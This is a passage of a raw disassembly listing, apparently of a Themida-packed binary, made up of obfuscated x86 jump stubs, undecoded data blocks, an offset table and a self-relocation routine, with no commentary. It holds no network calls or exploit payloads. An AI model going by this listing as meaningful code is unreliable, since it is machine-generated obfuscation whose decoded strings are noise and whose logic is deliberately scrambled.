14312414h, 24143324h, 0D224248Bh, 0E99C242Ch dd 0FFFF3C3Eh ; --------------------------------------------------------------------------- loc_5020D4: ; CODE XREF: Themida_:004FED1Bj mov esp, [esp] jmp loc_4F5D12 ; --------------------------------------------------------------------------- dd 4C1835Fh, 31240C33h, 0C33240Ch, 591DE924h, 0EEC1FFFFh dd 0DFF68108h, 0E9783A21h, 0FFFFCB1Dh, 8B241C87h, 0F7662424h dd 4EC81E1h, 89000000h, 0E954240Ch, 0FFFF63EFh, 83240C8Bh dd 5FE904C4h, 81FFFFB3h, 460B19E9h, 6992053Ch, 0C8297A41h dd 4169922Dh, 26E9597Ah, 51FFFF6Ah, 0FF4914E9h, 5D5455FFh dd 0FFF93FE9h, 81E789FFh, 4C7h, 4EF8300h, 5C243C87h, 0B8240489h dd 30h, 5C246853h, 815B711Fh, 976616F3h, 0BFEB8136h, 4B6C0639h dd 0C92FEB81h, 0C8E9A6ADh, 0BAFFFF69h, 2C6818B3h, 0E18DC281h dd 0D331D319h, 5BD9015Ah, 0C76FE951h, 5558FFFFh, 4F9268h dd 0B246800h, 24890000h, 24048124h, 4, 0FF786BE9h, 0F4B2FFh dd 0CB005AD1h, 0ABC38059h, 0FFBD28E9h, 0DE957FFh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5021C3: ; CODE XREF: Themida_:004F865Bj mov ebp, 4 jmp loc_4FFBEC ; --------------------------------------------------------------------------- db 81h, 0CEh, 0F6h dd 0E968686Fh, 0FFFF3C42h, 8B2434FFh, 0FE92404h, 66FFFF70h dd 0E9240C8Bh, 0FFFF5B0Fh, 0F65EEE80h, 0ED01E9DEh, 0BABBFFFFh dd 816EB21Eh, 32EC1CBh, 81D3F761h, 7C77BACBh, 43EB8156h dd 310FF0B2h, 2434FFDDh, 4C4835Bh, 0FF4BA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_50221D: ; CODE XREF: Themida_:004F935Cj pop edi jmp loc_4FCBC4 ; --------------------------------------------------------------------------- db 89h dd 37E95FFAh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50222B: ; CODE XREF: Themida_:00500C1Ej mov ebx, 369F6021h jmp loc_4F784E ; --------------------------------------------------------------------------- db 58h, 0E9h, 51h dd 81FFFF89h, 0E53D20C7h, 0B620E95Dh, 0FF5FFFFFh, 835B2434h dd 316604C4h, 348B66F0h, 2C48324h, 0BE665666h, 0A9E9276Dh dd 87FFFFE9h, 665C243Ch, 0E9240489h, 0FFFF3AA2h, 0BB241C89h dd 236B008Bh, 63F6EB81h, 0F4E93AECh, 0B9FFFFE4h, 2, 21E9CE01h dd 66FFFF7Ch, 68240C8Bh, 39C6h, 0E9241C89h, 0FFFF7848h dd 0EA81D2F7h, 66EF8A53h, 0FFE897E9h, 0F28158FFh, 4FCD1A34h dd 7789EE81h, 9AE934F0h, 66FFFF79h, 3166EE31h, 88E92434h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5022CB: ; CODE XREF: Themida_:004FA9A8j pop esp jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 81h, 0F5h, 2Ah dd 816C7050h, 70C480C5h, 8BE901F3h, 0C483242Ch, 4BB5304h dd 81000000h, 0C26370C1h, 694FE934h, 0EC81FFFFh, 4, 0B3241C89h dd 0BFF38080h, 0EBD0CBFEh, 5012EB80h, 5226B551h, 0C9B095B2h dd 285AD000h, 0EB8059E8h, 66C328F0h, 0E9F0B050h, 0FFFFD59Ch dd 0EA81C201h, 6F3C2E53h, 0FF9179E9h, 4C481FFh, 81000000h dd 4C1h, 240C8700h, 0FF24248Bh, 555A2434h, 8154E954h, 0C681FFFFh dd 4, 8704EE83h, 895C2434h, 4BF243Ch, 0E9000000h, 0FFFF7A11h dd 240C8B66h, 4DA668h, 24148900h, 0B951E289h, 249C3D6Bh dd 3D6FF181h, 0C5E9249Ch db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50238B: ; CODE XREF: Themida_:0050113Cj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- aARw db 'aÃRW¿<',0 db 2 dup(0), 89h dd 0B9515FFAh, 0D1B0F42h, 6DEEA81h, 0CA29173Dh, 6DEC281h dd 0C8B173Dh, 4C48324h, 7C68FA01h, 8900004Fh, 81E9243Ch dd 5AFFFF75h, 0FFF530E9h, 3944E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5023CE: ; CODE XREF: Themida_:004F8A6Dj mov [esp], edi push ebx mov ebx, 4 mov edi, ebx pop ebx add edx, edi mov edi, [esp] add esp, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_500006 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B54241Ch, 0C483241Ch, 44E8E904h, 0D801FFFFh dd 0FFF51FE9h, 1C77FFFFh, 6659669Dh, 9C2414D3h, 0FF38EDE9h dd 80C1FEFFh, 0CF20CBF1h, 0FFFACAE9h db 0FFh ; --------------------------------------------------------------------------- loc_502431: ; CODE XREF: Themida_:00501CB1j mov eax, [esp] push edi mov edi, esp push 1C0Bh mov [esp], ecx mov ecx, 0C268Dh sub ecx, 1 dec ecx or ecx, 224F3F9Eh add ecx, 1B4C15CFh jmp loc_4FAB15 ; --------------------------------------------------------------------------- dd 3A77BE56h, 81464692h, 19583EF6h, 28F6810Ch, 0C13C607Ah dd 0F68104E6h, 1BD74D8Eh, 219E9h, 48B6600h, 1A06824h, 0DE90000h dd 81FFFFF1h, 0D41FD6F3h, 0C3814306h, 0F1D1DA9Bh, 0FF566AE9h dd 0BB535EFFh, 5235637Ah, 0C1EDBE56h, 0F33129F5h, 5BDF895Eh dd 815EF729h, 0AA04246Ch, 116BA73h, 8104247Ch, 0AA042444h dd 8B16BA73h, 0C483243Ch, 0C6ECE904h, 8356FFFFh, 8BFF2404h dd 0C4812434h, 4, 0FFB296E9h, 2C283FFh, 2474FF52h, 1AE95A04h dd 0FFFFFF89h, 8B042474h, 8951243Ch, 0E063E9E1h, 8B66FFFFh dd 4B682404h, 89000028h, 0E189240Ch, 4EC81h, 14890000h dd 4BA24h, 0D1010000h, 4EC835Ah, 68242C89h, 2, 81242C8Bh dd 4C4h, 8BE90100h, 0C483242Ch, 74FF5104h, 0E9590424h dd 0FFFF7564h, 0D0CCE950h, 3489FFFFh, 4BE24h, 0F3010000h dd 4EC815Eh, 89000000h, 2BF243Ch, 1000000h, 1C875FFBh dd 82E95C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502573: ; CODE XREF: Themida_:004FFF27j xor eax, edi pop edi and ecx, eax pop eax jmp loc_4FA225 ; --------------------------------------------------------------------------- loc_50257E: ; CODE XREF: Themida_:004F9064j xor [esp], ebx xor ebx, [esp] jmp loc_4FA74C ; --------------------------------------------------------------------------- loc_502589: ; CODE XREF: Themida_:004FC30Cj add edi, 2B8434F9h not edi jmp loc_4F942D ; --------------------------------------------------------------------------- loc_502596: ; CODE XREF: Themida_:004F98E6j mov edi, 0BA90E05h add [esp+4], edi pop edi push dword ptr [esp] pop ecx push ecx push esp jmp loc_4FAF9C ; --------------------------------------------------------------------------- loc_5025AB: ; CODE XREF: Themida_:004FD4F7j mov ebp, ecx jmp loc_5010F9 ; --------------------------------------------------------------------------- dw 0EE81h dd 57E529ACh, 3AE9C601h, 0BFFFFF6Eh, 167356D6h, 0FF5FFB01h dd 815A2434h, 4C4h, 241C8700h, 9CC1385Ch, 0FF3735E9h, 148B66FFh dd 2B986824h, 34890000h, 8DE95424h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5025EF: ; CODE XREF: Themida_:004FA6F0j mov ecx, 214711E7h sub ebp, ecx pop ecx jmp loc_4FF56F ; --------------------------------------------------------------------------- loc_5025FC: ; CODE XREF: Themida_:004FDA2Fj mov [edx], ecx mov edx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 1 dd 19E958C7h, 5DFFFFA3h, 77D9BA52h, 3AE90C9Fh, 68FFFF69h dd 2409h, 0E9240489h, 0FFFF36E2h, 9B3FE94Fh, 405FFFFh dd 0E9000000h, 0FFFF5FCCh, 384F81BFh, 0D1BBE971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50264A: ; CODE XREF: Themida_:00500018j push ebp push 1DD971E5h jmp loc_4F82E9 ; --------------------------------------------------------------------------- align 2 dw 59C8h dd 0E92B2C5Bh, 0FFFFCDE0h, 0C2242C81h, 810BEA7Dh, 4ECh dd 242C8900h, 0B04316BDh, 0F5814D54h, 5932647Ah, 2D22F581h dd 6C010B8Bh, 0E95D0424h, 0FFFF3686h ; --------------------------------------------------------------------------- loc_50268C: ; CODE XREF: Themida_:004FBB15j mov [esp], edx mov edx, esp jmp loc_501324 ; --------------------------------------------------------------------------- dw 0F101h dd 0FFA20BE9h, 4C483FFh, 0E904C483h, 0FFFF8B03h, 1A89C389h dd 24148B5Bh, 4C481h, 34FF0000h, 24048B24h, 6804C483h dd 76FDh, 0E9243C89h, 0FFFFEA26h, 8B242C87h, 0BBE92424h dd 0F7FFFFE0h, 63B568E1h, 14890000h, 0F482E924h, 0C368FFFFh dd 8900007Eh, 0E6E9240Ch db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5026F3: ; CODE XREF: Themida_:004FBD9Dj add esp, 4 shr eax, 0Eh xor eax, ecx push 4AD2h mov [esp], eax jmp loc_4FEFE3 ; --------------------------------------------------------------------------- db 1 dd 14875DEAh, 24248B24h, 4B30F66h, 0F3E99C24h db 35h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50271F: ; CODE XREF: Themida_:004F92ECj and edi, 54A97DEFh jmp loc_500612 ; --------------------------------------------------------------------------- loc_50272A: ; CODE XREF: Themida_:004F833Fj mov ebp, esp add ebp, 4 push 7471h mov [esp], edx mov edx, 4 add ebp, 5E243E90h sub ebp, 72A22A01h add ebp, 2B8B246Dh add ebp, edx sub ebp, 2B8B246Dh add ebp, 72A22A01h jmp loc_4FD2C3 ; --------------------------------------------------------------------------- dd 0EF3EE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50276A: ; CODE XREF: Themida_:00501B63j jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 0ACh dd 92E9D830h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502777: ; CODE XREF: Themida_:004FE0C8j pop edi push eax mov eax, 0DE74371Ch add ebx, eax pop eax and ebp, ebx pop ebx jmp loc_4FD941 ; --------------------------------------------------------------------------- db 81h, 0CAh, 54h dd 0F763785Ah, 0E5BE56DAh, 811A145Fh, 9A684CE6h, 0E94E4E2Bh dd 0FFFFEA77h, 55569Eh, 0AEFEh, 7FFE0304h, 7E449BC8h, 0FA6CDCB7h dd 9B69DDh, 554A5Ah, 203h, 2, 1, 5, 0FA6CDCB7h, 5 dup(0) dd offset byte_5041AF dd offset byte_50F459 dd offset off_50DB5D dd offset aN1Hn9 ; "1Øh9" dd offset word_50503E dd offset byte_50C209 dd offset word_50E132 dd offset word_50DC42 dd offset word_50A55E dd offset byte_5159D5 dd offset word_50A822 dd offset dword_5158BC dd offset dword_50780C dd offset dword_510C98 dd offset dword_513700 dd offset byte_506D93 dd offset dword_516574 dd offset byte_50A973 dd offset byte_51202B dd offset byte_5158D9 dd offset dword_502BA8 dd offset dword_5071C0 dd offset dword_50CA14 dd offset dword_50F0F4 dd offset dword_509388 dd offset byte_50EEDF dd offset byte_51114D dd offset byte_50F27B dd offset dword_507028 dd offset byte_50F08D dd offset word_50C6E6 dd offset byte_506D77 dd offset word_51764E dd offset word_50A262 dd offset byte_510927 dd offset byte_502B1D dd offset word_5047A2 dd offset byte_516549 dd offset byte_505CC9 dd offset word_50ECEA dd offset word_50713E dd offset byte_5041DF dd offset byte_50A189 dd offset word_5151C2 dd offset aM0SfqYiqsW ; "¬0ØSfQµYˆïéÃw" dd offset byte_503683 dd offset byte_5077B1 dd offset word_514272 dd offset byte_50CE8B dd offset dword_5159B0 dd offset byte_5169D3 dd offset byte_514AB5 dd offset byte_51126D dd offset dword_50F8D8 dd offset byte_5047DB dd offset byte_5045BF dd offset aMsx ; "¬éx(" dd offset byte_515309 dd offset word_51418A dd offset dword_5056D0 dd offset byte_51388F dd offset byte_50C983 dd offset dword_50577C dd offset dword_50E874 dd offset dword_50E8AC dd offset byte_5169BD dd offset dword_513DE8 dd offset aNsgi ; "ég‰" dd offset dword_50E08C dd offset word_50BC46 dd offset byte_50AFF9 dd offset byte_50CECB dd offset byte_50A475 dd offset word_5108B6 dd offset word_50C49A dd offset word_50389E dd offset byte_511EBB dd offset byte_51555D dd offset word_50478E dd offset byte_5076C3 dd offset word_50DAF2 dd offset byte_50687B dd offset byte_509121 dd offset word_503CFA dd offset byte_51563D dd offset dword_5155F0 dd offset aMrPTFshT ; "¬R²Àâ\bfShËT" dd offset dword_50645C dd offset byte_517BCF dd offset byte_50474F dd offset dword_516938 dd offset byte_50B1A7 dd offset aNQBS ; "-Ÿ{%éµ/" dd offset byte_50BB5D dd offset word_5030A2 dd offset word_514802 dd offset aNsU ; "é\au" dd offset byte_50AC61 dd offset dword_5114B4 dd offset word_510032 dd offset byte_50B02B dd offset word_5155A2 dd offset byte_508489 dd offset byte_510C85 dd offset aMsA ; "¬é;A" dd offset byte_5105BF dd offset dword_517D54 dd offset aNFgojvspi ; "-”GŽJVéP¨" dd offset word_509412 dd offset byte_5131A3 dd offset dword_503D20 dd offset dword_507E04 dd offset byte_5084FF dd offset byte_50424B dd offset word_5037AE dd offset dword_50DA14 dd offset dword_503D14 dd offset byte_51734B dd offset aMhso ; "¬háO" dd offset byte_50E409 dd offset word_502B16 dd offset word_512F9A dd offset byte_508BC3 dd offset word_506B56 dd offset dword_507F50 dd offset byte_50F81D dd offset byte_509493 dd offset dword_5153C4 dd offset word_5155CE dd offset dword_504F6C dd offset dword_5127A8 dd offset byte_50C427 dd offset dword_504CCC dd offset byte_50872F dd offset byte_512E09 dd offset word_50E342 dd offset word_50F9F6 dd offset dword_511904 dd offset byte_50F9FF dd offset byte_5123E9 dd offset byte_503767 dd offset dword_516090 dd offset byte_510585 dd offset byte_505323 dd offset aMhA ; "¬hµA" dd offset byte_50518B dd offset dword_506B94 dd offset aMps ; "¬Pé²;" dd offset dword_503A58 dd offset dword_50F694 dd offset byte_50C2B7 dd offset word_50974E dd offset byte_505F79 dd offset word_50372E dd offset dword_508344 dd offset word_50D0A2 dd offset byte_50A6DF dd offset word_507DEA dd offset dword_50DCD0 dd offset byte_508445 dd offset word_50A24A dd offset word_51513E dd offset byte_50B0E9 dd offset byte_510ECF dd offset dword_512C04 dd offset dword_51462C dd offset dword_517E30 ; --------------------------------------------------------------------------- loc_502A84: ; CODE XREF: Themida_:0054AEDAj pusha pushf cld call $+5 pop edi sub edi, 5E34DD5h mov eax, edi add edi, 5E34AEDh cmp eax, [edi+2Ch] jnz short loc_502AA2 jmp short loc_502AB5 ; --------------------------------------------------------------------------- loc_502AA2: ; CODE XREF: Themida_:00502A9Ej mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_502AB1 ; --------------------------------------------------------------------------- loc_502AAC: ; CODE XREF: Themida_:00502AB3j add [edi+ecx*4+40h], eax dec ecx loc_502AB1: ; CODE XREF: Themida_:00502AAAj or ecx, ecx jnz short loc_502AAC loc_502AB5: ; CODE XREF: Themida_:00502AA0j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_502AC2: ; CODE XREF: Themida_:00502AC9j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_502AC2 loc_502ACB: ; CODE XREF: Themida_:00502BBFj ; Themida_:loc_505C5Aj ... lodsb xor al, bl push 4434h mov [esp], edx jmp loc_5057EE ; --------------------------------------------------------------------------- db 83h dd 0ED8104C4h, 4DE8BAABh, 34FFEB29h, 0C4815D24h, 4, 4EC81h dd 4890000h, 0B78B824h, 565242A6h, 5628E9h db 0 ; --------------------------------------------------------------------------- loc_502B05: ; CODE XREF: Themida_:00507604j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp or eax, eax jmp loc_50EF3F ; --------------------------------------------------------------------------- word_502B16 dw 32FFh ; DATA XREF: Themida_:005029C8o dd 0FFFFAEE9h db 0FFh byte_502B1D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00502874o dd 89525724h, 4C281E2h, 81000000h, 4EAh, 24148700h, 1271BE9h dd 48F5E00h, 24248B24h, 24048966h, 0FFFF82E9h db 0FFh ; --------------------------------------------------------------------------- loc_502B49: ; CODE XREF: Themida_:00512929j mov [esp], ebx jmp loc_514562 ; --------------------------------------------------------------------------- loc_502B51: ; CODE XREF: Themida_:005151BDj or dh, 48h shl dh, 4 and dh, 0E1h dec dh xor dh, 6Bh add bl, dh pop edx sub bl, 89h add bl, 0F9h jmp loc_516536 ; --------------------------------------------------------------------------- db 5Fh, 29h, 6Ch dd 44810424h, 76DE0424h, 34FF24F2h, 0C4835D24h, 24048B04h dd 4C481h, 0FD680000h, 8900004Eh, 0E955240Ch, 14A13h, 0BB53D6F7h dd 4321671Dh, 0E95BDE01h, 908Bh dword_502BA8 dd 240C8B66h, 111A6E9h ; DATA XREF: Themida_:00502838o db 0 ; --------------------------------------------------------------------------- loc_502BB1: ; CODE XREF: Themida_:00503337j mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_502ACB ; --------------------------------------------------------------------------- dd 8704C183h, 9FE9240Ch db 28h, 1, 0 ; --------------------------------------------------------------------------- loc_502BCF: ; CODE XREF: Themida_:005164D0j mov esp, [esp] xchg ebx, [esp] jmp loc_50DC14 ; --------------------------------------------------------------------------- a1Ssc db '1Îé˜æ',0 db 0 ; --------------------------------------------------------------------------- loc_502BE1: ; CODE XREF: Themida_:0050AC6Ej push ebx mov ebx, 118164E2h and eax, ebx pop ebx and eax, 1BD71DD3h shl eax, 4 add eax, 0F0000004h add ecx, eax mov eax, [esp] jmp loc_507D89 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 241C8BDAh, 55E08950h, 216AB850h, 5DE9268Dh dd 5F000044h, 117D2E9h, 81EA0100h, 1454F2EAh, 55EA8108h dd 5D135B29h, 8B241487h, 0F1F62424h, 0CCB60F66h, 7E586866h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFFE7Bh, 0CBDDE958h dd 14890000h, 7D4AE924h, 0B9510000h, 1DFF0A85h, 12C3EE9h dd 180F6800h, 1FE90000h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502C73: ; CODE XREF: Themida_:0050AE98j sub dword ptr [esp+4], 94C52EBh push dword ptr [esp] mov ebx, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_515605 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812424h, 4, 4C181h, 0E9560000h, 8D17h, 83BA5250h dd 5123666Bh, 51172CB9h, 545BB82Fh, 0DCE9F415h, 5900013Fh dd 8148E9h, 0FDFDE900h, 0E289FFFFh, 4C281h, 0C2830000h dd 24148704h, 27D5E9h, 4EC8100h, 89000000h, 0BA522424h dd 4, 4245401h, 4A1FE95Ah, 3C8B0000h, 47BBE924h db 1, 0 ; --------------------------------------------------------------------------- loc_502D02: ; CODE XREF: Themida_:0051011Cj pop edx push ebx mov ebx, 74837126h xor esi, ebx mov ebx, [esp] add esp, 4 jmp loc_517AB3 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 5C790CBFh, 0FD7EE921h, 34310000h, 0EEFEE924h, 0E1890000h dd 141ECE9h, 240C8900h, 27B6CFB9h, 0E9CB316Bh, 6AB3h, 8B2434FFh dd 0C4832404h, 1C1BE904h, 0C4810001h, 4, 1428DE9h db 0 ; --------------------------------------------------------------------------- loc_502D5D: ; CODE XREF: Themida_:005044EEj sub [esp+8], ebx pop ebx mov ebp, [esp] push 2794h jmp loc_50B6F0 ; --------------------------------------------------------------------------- loc_502D6F: ; CODE XREF: Themida_:00514AFEj add ebp, 4E8550E0h jmp loc_5057AA ; --------------------------------------------------------------------------- aLVicsG db '‹<$V‰æé»g',0 db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push 4 jmp loc_50D218 ; --------------------------------------------------------------------------- db 89h dd 3BA2414h, 0E9239B56h, 573Bh, 21BEB81h, 50E9FF34h, 800000E3h dd 0C7E973CEh, 520000D7h, 0BD555A54h, 4, 815DEA01h, 4C2h dd 24143300h, 0E9241431h, 37B2h, 0E9E38953h, 13BA8h, 923F6F05h dd 2DD8017Eh, 7E923F6Fh, 4EC81h, 2C890000h, 50E58924h dd 4B8h, 58C50100h, 5BE6BE56h, 0C681762Ch, 89D3A41Eh, 875EF529h dd 0B2E9242Ch db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502E0F: ; CODE XREF: Themida_:0050984Dj pop eax push edi pop eax push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebp, 9871BFEh add ebp, eax push 51C3h mov [esp], ecx jmp loc_503F89 ; --------------------------------------------------------------------------- aZ0qy db 'Z0ïY',0 db 0D7h dd 0E924148Bh, 12053h ; --------------------------------------------------------------------------- loc_502E54: ; CODE XREF: Themida_:0051451Bj mov [esp], eax mov eax, 0AE2184Dh sub eax, 33AA4F2Ch sub eax, 0FFFFFFFFh add eax, 6A379F5h add eax, 3E0DD7E7h add ebp, 7B8A1B71h add ebp, eax sub ebp, 7B8A1B71h mov eax, [esp] add esp, 4 shr ebp, 2 xor ebp, 71AC6BEh and eax, ebp jmp loc_50C790 ; --------------------------------------------------------------------------- loc_502E92: ; CODE XREF: Themida_:005146F4j add esp, 4 jmp loc_506802 ; --------------------------------------------------------------------------- loc_502E9A: ; CODE XREF: Themida_:00510ADBj shr ebx, 6 and ebx, 5DFA3332h jmp loc_503DAE ; --------------------------------------------------------------------------- loc_502EA8: ; CODE XREF: Themida_:0050370Ej push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_508134 ; --------------------------------------------------------------------------- loc_502EBA: ; CODE XREF: Themida_:00504828j pop esi jmp loc_509B37 ; --------------------------------------------------------------------------- aLSN db '‹$$éÜN',0 align 4 loc_502EC8: ; CODE XREF: Themida_:0050DAD6j mov edx, [esp] push ebp mov ebp, esp jmp loc_50DEBE ; --------------------------------------------------------------------------- loc_502ED3: ; CODE XREF: Themida_:005098F9j sub eax, 414D04DFh add eax, ecx push ecx mov ecx, 414D04DFh add eax, ecx pop ecx push dword ptr [esp] push dword ptr [esp] jmp loc_514A32 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 0E902E6C0h, 0FFFFFEAFh, 4C481h, 81680000h dd 89000066h, 0BB53240Ch, 2F0B6938h, 0E907EBC1h, 0CFD7h ; --------------------------------------------------------------------------- loc_502F18: ; CODE XREF: Themida_:00511F73j pop ax jmp loc_50910B ; --------------------------------------------------------------------------- loc_502F1F: ; CODE XREF: Themida_:00512EEFj sub esp, 4 mov [esp], esi mov esi, 2CB350F8h sub ebx, esi pop esi push edx jmp loc_51716A ; --------------------------------------------------------------------------- loc_502F33: ; CODE XREF: Themida_:0050DE9Fj shl eax, 5 push 0 sub [esp], eax jmp loc_50446C ; --------------------------------------------------------------------------- db 0BDh dd 0E151EB0h, 5207E5C1h, 1BAh, 0F2F4E900h, 53510000h, 145A5E9h dd 61E95600h, 81000116h, 0B523F6E6h, 0A0C68112h, 1ED6BFCh dd 4131E9F5h, 0C1470001h, 0EF8105EFh, 1E197F70h, 4EC81h dd 0C890000h, 22FAB924h, 0C18174B2h, 28075048h, 731C181h dd 0BE562B98h, 0 dd 0F187CE29h, 18D1E95Eh, 14890001h, 6920BA24h, 0D321499Bh dd 2CB5E95Ah, 0D7680001h, 8B4EE30Dh, 0C481242Ch, 4, 0B406E9h dd 0E9CD0100h, 2116h, 0C24DE95Dh, 0C4810000h, 4, 352668h dd 240C8900h, 240C8B54h, 1152FE9h, 0E9535D00h, 171Ah ; --------------------------------------------------------------------------- loc_502FF8: ; CODE XREF: Themida_:00516F1Cj pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_50AD7E ; --------------------------------------------------------------------------- loc_503007: ; CODE XREF: Themida_:0050E67Cj jmp loc_5153A4 ; --------------------------------------------------------------------------- dd 0EE81CE29h, 711952A0h, 24348759h, 2539E9h db 0 ; --------------------------------------------------------------------------- loc_50301D: ; CODE XREF: Themida_:0050D185j xor ebx, 74E35D39h mov eax, ebx pop ebx add edx, eax pop eax add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_504F8E ; --------------------------------------------------------------------------- aQ@11s db 'Q¹+@11é|¿',0 align 4 aISh db '‰Ëéh',7,0 dw 5A00h dd 3427C681h, 0C6011B45h, 3427EE81h, 0E9581B45h, 92F9h dd 81241C8Bh, 4C4h, 148B6600h, 16ADE924h db 1, 0 ; --------------------------------------------------------------------------- loc_503076: ; CODE XREF: Themida_:005102FFj mov ecx, 34FB6439h sub ebp, ecx jmp loc_50A26B ; --------------------------------------------------------------------------- loc_503082: ; CODE XREF: Themida_:0050EC57j shr esi, 6 xor esi, 252DD5Fh add edx, esi pop esi push edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_50F9DF ; --------------------------------------------------------------------------- word_5030A2 dw 8F64h ; DATA XREF: Themida_:00502960o dd 0FA21E902h, 0C701FFFFh, 290BE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5030B2: ; CODE XREF: Themida_:005154F1j push esp jmp loc_510A69 ; --------------------------------------------------------------------------- aSc db '\éæÁ',0 align 2 aP6so db 'P¸Ô=Ø6éOÜ',0 db 0 ; --------------------------------------------------------------------------- loc_5030C9: ; CODE XREF: Themida_:0050DF8Cj push 2895h mov [esp], edi push 33BC2373h jmp loc_50C85A ; --------------------------------------------------------------------------- loc_5030DB: ; CODE XREF: Themida_:0050B511j mov eax, [esp] push edi jmp loc_508EA9 ; --------------------------------------------------------------------------- dd 4BDh, 246C8100h, 4210C04h, 246C013Fh, 24448104h, 4210C04h dd 2434FF3Fh, 4C4815Dh, 5E000000h, 0E9E68956h, 0BC98h ; --------------------------------------------------------------------------- loc_503110: ; CODE XREF: Themida_:00510971j push eax jmp loc_504894 ; --------------------------------------------------------------------------- loc_503116: ; CODE XREF: Themida_:00509D68j pop edx jmp loc_50E418 ; --------------------------------------------------------------------------- dd 0A4318D2Dh, 5D0013Dh, 3DA4318Dh, 7F6B1205h, 8F60504h dd 148B1ADAh, 52016824h, 28E90000h, 83000041h, 0C181FFE9h dd 14B57E38h, 2E9C149h, 71CEBD55h, 0CD814306h, 49107352h dd 481554Dh, 124h, 3973E900h, 74FF0000h, 1C8B0424h, 4C48324h dd 0E924048Fh, 5D45h, 1A01C781h, 0D7016E06h, 1A01EF81h dd 875A6E06h, 248B243Ch, 48B6624h, 68906824h, 34890000h dd 68E68924h, 74AFh, 0B9240C89h, 4, 19D168h, 24148900h dd 0D441D5BAh, 66C6816Dh, 1334421h, 4621E9D6h, 0BF570000h dd 2, 7226C681h, 83E94DDFh, 870000A9h, 0D6F72434h, 33243431h dd 34312434h, 0EB815B24h, 0A0328409h, 685BD901h, 7ADBh dd 0FF240C89h, 59042474h, 8B24048Fh, 0A30F2424h, 0E99C2404h dd 0FFFFF8C3h, 2D48D8F7h, 3FE06497h, 0A1A7E9h, 24048300h dd 2BC9E904h, 57560000h, 0EB3C88BFh, 5E95214h, 10000CFh dd 0E8315BDDh, 5CDBE9h, 80EED000h, 0F520ADF6h, 80D5F65Ah dd 0E80042EDh, 86B25259h, 0C2FEC2FEh, 28BEC280h, 24148BD0h dd 1221DE9h, 4E6C100h, 8102E6C1h, 0AF6344E6h, 46D6F728h dd 6798EE81h, 0F729B928h, 0E9C7295Eh, 0AC2Ch ; --------------------------------------------------------------------------- loc_503278: ; CODE XREF: Themida_:0050EB5Bj mov ebp, 50B23209h sub ecx, ebp jmp loc_504F14 ; --------------------------------------------------------------------------- dd 4245401h, 6B84E9h, 24EF8100h, 592F2D01h, 2C781h, 3C330000h dd 243C3124h, 8B243C33h, 0EC832424h, 240C8904h, 5753D188h dd 0EE6F9FBFh, 0F9B8501Fh, 51DE20Ch, 1, 8904EC83h, 0ADBD242Ch dd 0E90F7A63h, 1433Ah ; --------------------------------------------------------------------------- loc_5032D0: ; CODE XREF: Themida_:00510AFEj push 27Eh mov [esp], edi mov edi, esp push edx push eax push 11292DB3h pop eax jmp loc_50E4B9 ; --------------------------------------------------------------------------- db 83h dd 0D8E904ECh, 5300005Eh, 0A4213BBBh, 8BDA895Ch, 0C483241Ch dd 0F6BB5304h, 2D1ADA08h, 1C852632h, 5521E205h, 0E9D82911h dd 249h ; --------------------------------------------------------------------------- loc_503314: ; CODE XREF: Themida_:005080F3j pop eax xor eax, 17065A8Eh sub edi, 602439E6h add edi, eax add edi, 602439E6h pop eax jmp loc_515B4F ; --------------------------------------------------------------------------- loc_50332E: ; CODE XREF: Themida_:005107A8j xchg eax, [esp] pop esp push 3C60h jmp loc_502BB1 ; --------------------------------------------------------------------------- dd 27F468h, 242C8900h, 2BDh, 0BBC78100h, 81030A49h, 2F3EE0C7h dd 94EF813Ah, 811AA54Ah, 410D4EEFh, 81EF0156h, 410D4EC7h dd 94C78156h, 811AA54Ah, 2F3EE0EFh, 0BBEF813Ah, 5D030A49h dd 8B243C87h, 0F662424h, 9C2404BBh, 0FFF73EE9h, 0E9D42CFFh dd 12479h, 745ACE81h, 4BE939DEh db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- 